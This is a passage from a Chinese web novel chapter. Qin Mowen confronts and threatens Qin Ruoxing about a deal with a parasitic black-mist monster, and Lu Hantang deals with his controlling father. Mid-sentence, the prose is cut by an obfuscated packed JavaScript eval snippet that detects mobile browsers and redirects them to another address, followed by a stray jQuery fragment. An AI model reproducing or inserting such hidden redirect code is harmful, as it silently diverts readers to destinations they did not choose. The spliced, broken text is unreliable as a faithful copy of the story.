她笑得很恐怖。
秦若星却也无处可退。
此时，终于有一点点的悔意从秦若星的内心升起，她第一次开始思考，自己去招惹秦莫温是不是一个合适的决定。
但错误已经犯下，再无修补的余地。
“我……我没有……”秦若星还想垂死挣扎。
秦莫温已经迅速掐住了她的脖子！
“别跟我耍花样，秦若星，”秦莫温的脸迅速冷了下来，威胁的意味相当明显，“我比你想象的更擅长杀人。”
被掐住的女孩立即睁大了眼睛。
她要杀了自己！？
这不可能！秦莫温怎么敢！她怎么敢……
可是，秦莫温又为什么不敢？
秦若星惊恐地发现她回答不了自己。
“我都告诉你！不要杀我！”至今为止连鲜血都没怎么见过的女孩立刻认输了，她瑟瑟发抖地回答，“我跟黑先生做了交易，只要他杀了你，我就自愿被它寄生。”
黑先生？黑雾还给自己取了个挺优雅的名字。
“它想寄生你，还需要你自愿？”秦莫温一下就抓住了不对的点。
黑雾在游戏里寄生玩家的时候可是很张狂的，想寄生谁就寄生谁，还需要什么自愿。
难道是它在脱离游戏后，变得不行了？
“因为它当时很虚弱，”秦若星小声回答她，“所以我和它谈了条件，放在平常，黑先生肯定是不会多看我一眼的……”
秦莫温莫名其妙地看了她一眼。
这丫头，怎么还被怪物PUA上了。
那怪物能是什么好东西吗？
“你最好别再动什么歪心思，否则下一次，就不只是掐脖子这么简单了。”秦莫温松开了对于秦若星的桎梏，语气没什么起伏，平静得让人心惊。
不过这样看来，黑雾确实是在利用秦莫温，连上一次撞墙的事都没告诉她。
不过也正常，他们俩连同类都算不上，也不能期待一方能多为另一方考虑。
“你出来。”秦莫温后退两步，和秦若星拉开距离，抬抬下巴。
“出来？去哪儿？我……”秦若星话还没说完，眼睛已经翻上去了，黑色雾气从她的身体各处弥漫出来，在空中飘逸着。
黑雾操控者秦若星做出低眉顺眼的样子，“您叫我。”
不得不说，从各个意义上来说，黑雾都比秦若星能听懂人话。
它这个模仿者都快超越原主了。
“你知道秦家下周要准备秦若星的音乐会，以及我的认亲宴吧？”秦莫温抱臂问它。
“自然是知道的，有什么需要我做的吗？”
“从现在开始到认亲宴这段时间，让你的孩子安静点，我已经给你们看好地方了，”秦莫温的谎话张口就来，“而且神异局最近已经盯上某些异常了。”
黑雾垂头，“以您的意志为准……只是我有一些好奇，希望您能允许我提问。”
“说。”
“作为人类的您，为什么要帮助作为怪物的我们呢？”黑雾一瞬不瞬地盯着她。
就像秦莫温考虑着怎么对付黑雾一样，黑雾同样也在警惕着她。
非我同类，其心必异。
这句话适用于他们两个。
“哈哈哈……”秦莫温笑出了声，她歪歪头，似乎是觉得对方说了一个奇怪的笑话。
“真有意思，不是你们先来求助的吗？现在却怀疑起被求助的人了？”
黑雾极力否认，“不，您误会了，我们只是……”
“既然你们说我是最接近怪物的存在，”秦莫温打断它，漆黑的眼眸没有一丝光亮，“那我也很好奇，我究竟能像到什么程度。”
“帮你们，不过是顺手。”
……
-
回到房间，秦莫温已经可以确定秦若星身上的，就是黑雾的主脑。
她现在只是稳住了黑雾，但还得想个办法解决它。
按道理来说，解决寄生种，最简单的就是连宿主一起杀掉。
那究竟要不要干掉秦若星呢？
“……”秦莫温摇摇头。
太麻烦了，一旦自己的宝贝女儿死了，秦父秦母会上神异局找事的。
神异局的资金运转几乎完全依靠第三方，如果有了污名，那就会立刻被其它超能者组织分食。
秦莫温和神异局合作到现在还是很满意的，暂时没有跳槽的想法，所以自然也希望对方是能按时发工资。
不过要是这样的话，那可能会稍微有点麻烦。
首先要控制住秦若星，然后把黑雾从她的身体里扯出来，还得防止黑雾去寄生其他人。
没有宿主的寄生种就没什么可怕的了，秦莫温一电锯就解决了。
看来是时候做个计划了。
……
-
陆寒塘从车上下来，抬眼看了看陆家的宅子，随后极快地垂下眼帘。
“少爷，”老管家走上前，恭敬地微弯腰，“您回来了。”
“嗯。”陆寒塘只是轻轻颔首，迈步走进庭院，那双竹绿色的眼眸在夜幕的沾染下，变得幽深难辨。
作为陆家的财产，陆宁不会允许他住在别的地方。
世界上唯一能够容纳他的，只有这个他千方百计想要离开的囚笼。
“老爷说，等您回来了，就上去叙叙话。”老管家跟在他身后，低声提醒道。
叙话？
不过是警告的另一种形式罢了。
但陆寒塘还是温和地笑笑，“我知道了。”
消息已经传到，老管家也就不说话了。
他一直跟在陆寒塘身后，直到看见男人走进了家主的书房，这才移开了目光。
陆家上上下下所有的仆人，从管家到女仆，从厨师到园丁，全都是陆寒塘的监视者，也是这座囚笼的看守。
注意到那如芒在背的视线消失，陆寒塘在心里嗤笑一声。
果然，只有等他进到监狱长的房间，这群狱卒才会放心。
他习惯性地没有抬头，像是个听话的孩子那样，挺直身子站在陆宁面前，“父亲，您找我。”
“明之已经回来了，正在休息，后天会去神异局报到，你带他熟悉一下环境，顺便敲打敲打第一小队，让底下人听话点。”
陆宁开口就是命令。
对他而言，陆寒塘不是儿子，只是武器。
“我知道了。”陆寒塘一一接下，也不在乎这个命令
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376947|168395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有多么地不合理。
陆宁紧紧地盯了他一会儿，但他依旧从陆寒塘的脸上看不出什么表情来。
对方脸上永远都是那副温润优雅的笑，就象是被设定好程序的机器人。
这种脱离掌控的感觉让陆宁很不舒服。
只是陆寒塘没有做错什么，他也不能无端发难。
“你下去吧。”最终，陆家的掌权人只说了这么一句话。
陆寒塘很听话地点点头，全程都没有看一眼陆宁，转身就出去了。
等陆寒塘离开后，老管家走了进来，恭敬地弯腰，“先生。”
“去查查那个叫秦莫温的女孩。”陆宁语气平淡地下了命令。
老管家领命，见家主没有别的吩咐，便自主退下了。
书房里只有陆宁一个人沉思着，他正在回忆插在神异局的眼线，传回来的报告。
陆寒塘对秦莫温青睐有加。
既然从陆寒塘这里确定不了他的心思，那就从他在意的人下手试试吧。
……
-
陆寒塘烦躁地回到房间。
他习惯性地扫视了一圈，没有监视器的痕迹，看来最近陆宁还没有太丧心病狂。
在陆寒塘反抗最严重的那段时间里，别说是监视器了，房间里看着他的仆人都有好几个。
不过后来他慢慢收敛后，这些东西也就不见了。
陆宁希望他听话，这位家主就像是训狗一样，只要陆寒塘不违抗命令，就会给他奖励。
现在这个唯一能让他松口气的房间，就是他“听话”多年得来的奖励。
他换下衣服，余光瞥见没有关紧的窗户，从外面来地晚风稍稍掀开窗帘，露出了天上的一轮明月。
……他回来的时候一直是低着头的，都没有注意到今晚是月圆之夜。
除了陆寒塘自己，这个世界上没有人知道，月圆之夜对陆寒塘有特殊的意义。
他第一次见到秦莫温的时候，就是在一个月圆之夜。
当时她……
“叮叮——”响铃声阻拦了他外逸的思绪，陆寒塘看了眼来电人。
是秦莫温。
现在是十一点半，她会选择这个时间打电话过来，还真是让人有些意外。
不过陆寒塘偏头想了想，就知道了对方的来意。
他一向很了解她。
修长的手指划过屏幕，她的声音还没出来，他已经开口了，“您制定好作战计划了吗，有什么需要我帮忙的吗？”
那边的人没说话，像是句子噎在了喉咙里。
陆寒塘没忍住轻声笑了，感觉刚才的躁郁瞬间一扫而空。
真可爱。
好喜欢。
她知道自己很像得意的小猫吗？
心情愉悦的男人压抑着自己的呼吸，尽量不让那份贪恋被她察觉，他只是静默着，等待着对方开口。
“我制定好大概的计划了，后天我过去跟你们说，你们看着改，”她没好气地开口，随后顿了顿，语气不怀好意地上扬了，“不过嘛，陆大少爷，没看出来啊，你还是大金主的儿子呢。”
陆寒塘弯眸，“算不上，我只是比较好用而已。”
他知道她会去查的。